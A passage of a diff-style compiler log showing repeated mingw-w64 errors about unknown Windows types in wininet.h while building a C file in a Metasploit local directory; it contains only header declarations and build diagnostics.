BOOLAPI FtpCreateDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:687:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:688:3: error: unknown type name ‘EXTERN_C’ + 688 | BOOLAPI FtpRemoveDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:688:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 688 | BOOLAPI FtpRemoveDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:688:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:689:3: error: unknown type name ‘EXTERN_C’ + 689 | BOOLAPI FtpRemoveDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:689:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 689 | BOOLAPI FtpRemoveDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:689:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:690:3: error: unknown type name ‘EXTERN_C’ + 690 | BOOLAPI FtpSetCurrentDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:690:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 690 | BOOLAPI FtpSetCurrentDirectoryA(HINTERNET hConnect,LPCSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:690:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:691:3: error: unknown type name ‘EXTERN_C’ + 691 | BOOLAPI FtpSetCurrentDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:691:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 691 | BOOLAPI FtpSetCurrentDirectoryW(HINTERNET hConnect,LPCWSTR lpszDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:691:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:692:3: error: unknown type name ‘EXTERN_C’ + 692 | BOOLAPI FtpGetCurrentDirectoryA(HINTERNET hConnect,LPSTR lpszCurrentDirectory,LPDWORD lpdwCurrentDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:692:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 692 | BOOLAPI FtpGetCurrentDirectoryA(HINTERNET hConnect,LPSTR lpszCurrentDirectory,LPDWORD lpdwCurrentDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:692:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:693:3: error: unknown type name ‘EXTERN_C’ + 693 | BOOLAPI FtpGetCurrentDirectoryW(HINTERNET hConnect,LPWSTR lpszCurrentDirectory,LPDWORD lpdwCurrentDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:693:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 693 | BOOLAPI FtpGetCurrentDirectoryW(HINTERNET hConnect,LPWSTR lpszCurrentDirectory,LPDWORD lpdwCurrentDirectory); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:693:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:694:3: error: unknown type name ‘EXTERN_C’ + 694 | BOOLAPI FtpCommandA(HINTERNET hConnect,WINBOOL fExpectResponse,DWORD dwFlags,LPCSTR lpszCommand,DWORD_PTR dwContext,HINTERNET *phFtpCommand); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:694:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 694 | BOOLAPI FtpCommandA(HINTERNET hConnect,WINBOOL fExpectResponse,DWORD dwFlags,LPCSTR lpszCommand,DWORD_PTR dwContext,HINTERNET *phFtpCommand); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:694:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:695:3: error: unknown type name ‘EXTERN_C’ + 695 | BOOLAPI FtpCommandW(HINTERNET hConnect,WINBOOL fExpectResponse,DWORD dwFlags,LPCWSTR lpszCommand,DWORD_PTR dwContext,HINTERNET *phFtpCommand); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:695:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 695 | BOOLAPI FtpCommandW(HINTERNET hConnect,WINBOOL fExpectResponse,DWORD dwFlags,LPCWSTR lpszCommand,DWORD_PTR dwContext,HINTERNET *phFtpCommand); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:695:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:696:3: error: unknown type name ‘EXTERN_C’ + 696 | INTERNETAPI_(DWORD) FtpGetFileSize(HINTERNET hFile,LPDWORD lpdwFileSizeHigh); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:696:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 696 | INTERNETAPI_(DWORD) FtpGetFileSize(HINTERNET hFile,LPDWORD lpdwFileSizeHigh); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:696:3: error: unknown type name ‘DWORD’ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:704:5: error: unknown type name ‘CHAR’ + 704 | CHAR DisplayString[MAX_GOPHER_DISPLAY_TEXT + 1]; + | ^~~~ +/usr/share/mingw-w64/include/wininet.h:705:5: error: unknown type name ‘DWORD’ + 705 | DWORD GopherType; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:706:5: error: unknown type name ‘DWORD’ + 706 | DWORD SizeLow; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:707:5: error: unknown type name ‘DWORD’ + 707 | DWORD SizeHigh; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:708:5: error: unknown type name ‘FILETIME’ + 708 | FILETIME LastModificationTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:709:5: error: unknown type name ‘CHAR’ + 709 | CHAR Locator[MAX_GOPHER_LOCATOR_LENGTH + 1]; + | ^~~~ +/usr/share/mingw-w64/include/wininet.h:713:5: error: unknown type name ‘WCHAR’ + 713 | WCHAR DisplayString[MAX_GOPHER_DISPLAY_TEXT + 1]; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:714:5: error: unknown type name ‘DWORD’ + 714 | DWORD GopherType; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:715:5: error: unknown type name ‘DWORD’ + 715 | DWORD SizeLow; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:716:5: error: unknown type name ‘DWORD’ + 716 | DWORD SizeHigh; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:717:5: error: unknown type name ‘FILETIME’ + 717 | FILETIME LastModificationTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:718:5: error: unknown type name ‘WCHAR’ + 718 | WCHAR Locator[MAX_GOPHER_LOCATOR_LENGTH + 1]; + | ^~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:765:5: error: unknown type name ‘LPCTSTR’ + 765 | LPCTSTR Comment; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:766:5: error: unknown type name ‘LPCTSTR’ + 766 | LPCTSTR EmailAddress; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:770:5: error: unknown type name ‘FILETIME’ + 770 | FILETIME DateAndTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:774:5: error: unknown type name ‘DWORD’ + 774 | DWORD Ttl; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:778:5: error: unknown type name ‘INT’ + 778 | INT Score; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:782:5: error: unknown type name ‘INT’ + 782 | INT LowerBound; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:783:5: error: unknown type name ‘INT’ + 783 | INT UpperBound; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:787:5: error: unknown type name ‘LPCTSTR’ + 787 | LPCTSTR Site; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:791:5: error: unknown type name ‘LPCTSTR’ + 791 | LPCTSTR Organization; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:795:5: error: unknown type name ‘LPCTSTR’ + 795 | LPCTSTR Location; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:799:5: error: unknown type name ‘INT’ + 799 | INT DegreesNorth; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:800:5: error: unknown type name ‘INT’ + 800 | INT MinutesNorth; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:801:5: error: unknown type name ‘INT’ + 801 | INT SecondsNorth; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:802:5: error: unknown type name ‘INT’ + 802 | INT DegreesEast; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:803:5: error: unknown type name ‘INT’ + 803 | INT MinutesEast; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:804:5: error: unknown type name ‘INT’ + 804 | INT SecondsEast; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:808:5: error: unknown type name ‘INT’ + 808 | INT Zone; + | ^~~ +/usr/share/mingw-w64/include/wininet.h:812:5: error: unknown type name ‘LPCTSTR’ + 812 | LPCTSTR Provider; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:816:5: error: unknown type name ‘LPCTSTR’ + 816 | LPCTSTR Version; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:820:5: error: unknown type name ‘LPCTSTR’ + 820 | LPCTSTR ShortAbstract; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:821:5: error: unknown type name ‘LPCTSTR’ + 821 | LPCTSTR AbstractFile; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:825:5: error: unknown type name ‘LPCTSTR’ + 825 | LPCTSTR ContentType; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:826:5: error: unknown type name ‘LPCTSTR’ + 826 | LPCTSTR Language; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:827:5: error: unknown type name ‘DWORD’ + 827 | DWORD Size; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:831:5: error: unknown type name ‘WINBOOL’ + 831 | WINBOOL TreeWalk; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:835:5: error: unknown type name ‘LPCTSTR’ + 835 | LPCTSTR QuestionType; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:836:5: error: unknown type name ‘LPCTSTR’ + 836 | LPCTSTR QuestionText; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:840:5: error: unknown type name ‘LPCTSTR’ + 840 | LPCTSTR Text; + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:844:5: error: unknown type name ‘DWORD’ + 844 | DWORD CategoryId; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:845:5: error: unknown type name ‘DWORD’ + 845 | DWORD AttributeId; + | ^~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:932:3: error: unknown type name ‘EXTERN_C’ + 932 | BOOLAPI GopherCreateLocatorA(LPCSTR lpszHost,INTERNET_PORT nServerPort,LPCSTR lpszDisplayString,LPCSTR lpszSelectorString,DWORD dwGopherType,LPSTR lpszLocator,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:932:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 932 | BOOLAPI GopherCreateLocatorA(LPCSTR lpszHost,INTERNET_PORT nServerPort,LPCSTR lpszDisplayString,LPCSTR lpszSelectorString,DWORD dwGopherType,LPSTR lpszLocator,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:932:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:933:3: error: unknown type name ‘EXTERN_C’ + 933 | BOOLAPI GopherCreateLocatorW(LPCWSTR lpszHost,INTERNET_PORT nServerPort,LPCWSTR lpszDisplayString,LPCWSTR lpszSelectorString,DWORD dwGopherType,LPWSTR lpszLocator,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:933:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 933 | BOOLAPI GopherCreateLocatorW(LPCWSTR lpszHost,INTERNET_PORT nServerPort,LPCWSTR lpszDisplayString,LPCWSTR lpszSelectorString,DWORD dwGopherType,LPWSTR lpszLocator,LPDWORD lpdwBufferLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:933:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:934:3: error: unknown type name ‘EXTERN_C’ + 934 | BOOLAPI GopherGetLocatorTypeA(LPCSTR lpszLocator,LPDWORD lpdwGopherType); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:934:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 934 | BOOLAPI GopherGetLocatorTypeA(LPCSTR lpszLocator,LPDWORD lpdwGopherType); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:934:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:935:3: error: unknown type name ‘EXTERN_C’ + 935 | BOOLAPI GopherGetLocatorTypeW(LPCWSTR lpszLocator,LPDWORD lpdwGopherType); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:935:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 935 | BOOLAPI GopherGetLocatorTypeW(LPCWSTR lpszLocator,LPDWORD lpdwGopherType); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:935:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:936:3: error: unknown type name ‘EXTERN_C’ + 936 | INTERNETAPI_(HINTERNET) GopherFindFirstFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszSearchString,LPGOPHER_FIND_DATAA lpFindData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:936:3: error: expected ‘;’ before ‘HINTERNET’ + 936 | INTERNETAPI_(HINTERNET) GopherFindFirstFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszSearchString,LPGOPHER_FIND_DATAA lpFindData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:936:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘GopherFindFirstFileA’ + 936 | INTERNETAPI_(HINTERNET) GopherFindFirstFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszSearchString,LPGOPHER_FIND_DATAA lpFindData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:937:3: error: unknown type name ‘EXTERN_C’ + 937 | INTERNETAPI_(HINTERNET) GopherFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszSearchString,LPGOPHER_FIND_DATAW lpFindData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:937:3: error: expected ‘;’ before ‘HINTERNET’ + 937 | INTERNETAPI_(HINTERNET) GopherFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszSearchString,LPGOPHER_FIND_DATAW lpFindData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:937:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘GopherFindFirstFileW’ + 937 | INTERNETAPI_(HINTERNET) GopherFindFirstFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszSearchString,LPGOPHER_FIND_DATAW lpFindData,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:938:3: error: unknown type name ‘EXTERN_C’ + 938 | INTERNETAPI_(HINTERNET) GopherOpenFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:938:3: error: expected ‘;’ before ‘HINTERNET’ + 938 | INTERNETAPI_(HINTERNET) GopherOpenFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:938:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘GopherOpenFileA’ + 938 | INTERNETAPI_(HINTERNET) GopherOpenFileA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:939:3: error: unknown type name ‘EXTERN_C’ + 939 | INTERNETAPI_(HINTERNET) GopherOpenFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:939:3: error: expected ‘;’ before ‘HINTERNET’ + 939 | INTERNETAPI_(HINTERNET) GopherOpenFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:939:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘GopherOpenFileW’ + 939 | INTERNETAPI_(HINTERNET) GopherOpenFileW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszView,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:941:20: error: unknown type name ‘CALLBACK’ + 941 | typedef WINBOOL (CALLBACK *GOPHER_ATTRIBUTE_ENUMERATOR)(LPGOPHER_ATTRIBUTE_TYPE lpAttributeInfo,DWORD dwError); + | ^~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:943:3: error: unknown type name ‘EXTERN_C’ + 943 | BOOLAPI GopherGetAttributeA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszAttributeName,LPBYTE lpBuffer,DWORD dwBufferLength,LPDWORD lpdwCharactersReturned,GOPHER_ATTRIBUTE_ENUMERATOR lpfnEnumerator,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:943:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 943 | BOOLAPI GopherGetAttributeA(HINTERNET hConnect,LPCSTR lpszLocator,LPCSTR lpszAttributeName,LPBYTE lpBuffer,DWORD dwBufferLength,LPDWORD lpdwCharactersReturned,GOPHER_ATTRIBUTE_ENUMERATOR lpfnEnumerator,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:943:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:944:3: error: unknown type name ‘EXTERN_C’ + 944 | BOOLAPI GopherGetAttributeW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszAttributeName,LPBYTE lpBuffer,DWORD dwBufferLength,LPDWORD lpdwCharactersReturned,GOPHER_ATTRIBUTE_ENUMERATOR lpfnEnumerator,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:944:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 944 | BOOLAPI GopherGetAttributeW(HINTERNET hConnect,LPCWSTR lpszLocator,LPCWSTR lpszAttributeName,LPBYTE lpBuffer,DWORD dwBufferLength,LPDWORD lpdwCharactersReturned,GOPHER_ATTRIBUTE_ENUMERATOR lpfnEnumerator,DWORD_PTR dwContext); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:944:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1098:3: error: unknown type name ‘EXTERN_C’ + 1098 | INTERNETAPI_(HINTERNET) HttpOpenRequestA(HINTERNET hConnect,LPCSTR lpszVerb,LPCSTR lpszObjectName,LPCSTR lpszVersion,LPCSTR lpszReferrer,LPCSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1098:3: error: expected ‘;’ before ‘HINTERNET’ + 1098 | INTERNETAPI_(HINTERNET) HttpOpenRequestA(HINTERNET hConnect,LPCSTR lpszVerb,LPCSTR lpszObjectName,LPCSTR lpszVersion,LPCSTR lpszReferrer,LPCSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1098:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HttpOpenRequestA’ + 1098 | INTERNETAPI_(HINTERNET) HttpOpenRequestA(HINTERNET hConnect,LPCSTR lpszVerb,LPCSTR lpszObjectName,LPCSTR lpszVersion,LPCSTR lpszReferrer,LPCSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1099:3: error: unknown type name ‘EXTERN_C’ + 1099 | INTERNETAPI_(HINTERNET) HttpOpenRequestW(HINTERNET hConnect,LPCWSTR lpszVerb,LPCWSTR lpszObjectName,LPCWSTR lpszVersion,LPCWSTR lpszReferrer,LPCWSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1099:3: error: expected ‘;’ before ‘HINTERNET’ + 1099 | INTERNETAPI_(HINTERNET) HttpOpenRequestW(HINTERNET hConnect,LPCWSTR lpszVerb,LPCWSTR lpszObjectName,LPCWSTR lpszVersion,LPCWSTR lpszReferrer,LPCWSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1099:27: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HttpOpenRequestW’ + 1099 | INTERNETAPI_(HINTERNET) HttpOpenRequestW(HINTERNET hConnect,LPCWSTR lpszVerb,LPCWSTR lpszObjectName,LPCWSTR lpszVersion,LPCWSTR lpszReferrer,LPCWSTR *lplpszAcceptTypes,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1100:3: error: unknown type name ‘EXTERN_C’ + 1100 | BOOLAPI HttpAddRequestHeadersA(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwModifiers); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1100:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1100 | BOOLAPI HttpAddRequestHeadersA(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwModifiers); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1100:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1101:3: error: unknown type name ‘EXTERN_C’ + 1101 | BOOLAPI HttpAddRequestHeadersW(HINTERNET hRequest,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwModifiers); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1101:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1101 | BOOLAPI HttpAddRequestHeadersW(HINTERNET hRequest,LPCWSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwModifiers); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1101:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1116:3: error: unknown type name ‘EXTERN_C’ + 1116 | BOOLAPI HttpSendRequestA(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1116:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1116 | BOOLAPI HttpSendRequestA(HINTERNET hRequest,LPCSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1116:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1117:3: error: unknown type name ‘EXTERN_C’ + 1117 | BOOLAPI HttpSendRequestW(HINTERNET hRequest,LPCWSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1117:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1117 | BOOLAPI HttpSendRequestW(HINTERNET hRequest,LPCWSTR lpszHeaders,DWORD dwHeadersLength,LPVOID lpOptional,DWORD dwOptionalLength); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1117:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1118:3: error: unknown type name ‘EXTERN_C’ + 1118 | INTERNETAPI_(WINBOOL) HttpSendRequestExA(HINTERNET hRequest,LPINTERNET_BUFFERSA lpBuffersIn,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1118:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1118 | INTERNETAPI_(WINBOOL) HttpSendRequestExA(HINTERNET hRequest,LPINTERNET_BUFFERSA lpBuffersIn,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1118:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1119:3: error: unknown type name ‘EXTERN_C’ + 1119 | INTERNETAPI_(WINBOOL) HttpSendRequestExW(HINTERNET hRequest,LPINTERNET_BUFFERSW lpBuffersIn,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1119:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1119 | INTERNETAPI_(WINBOOL) HttpSendRequestExW(HINTERNET hRequest,LPINTERNET_BUFFERSW lpBuffersIn,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1119:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1131:3: error: unknown type name ‘EXTERN_C’ + 1131 | INTERNETAPI_(WINBOOL) HttpEndRequestA(HINTERNET hRequest,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1131:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1131 | 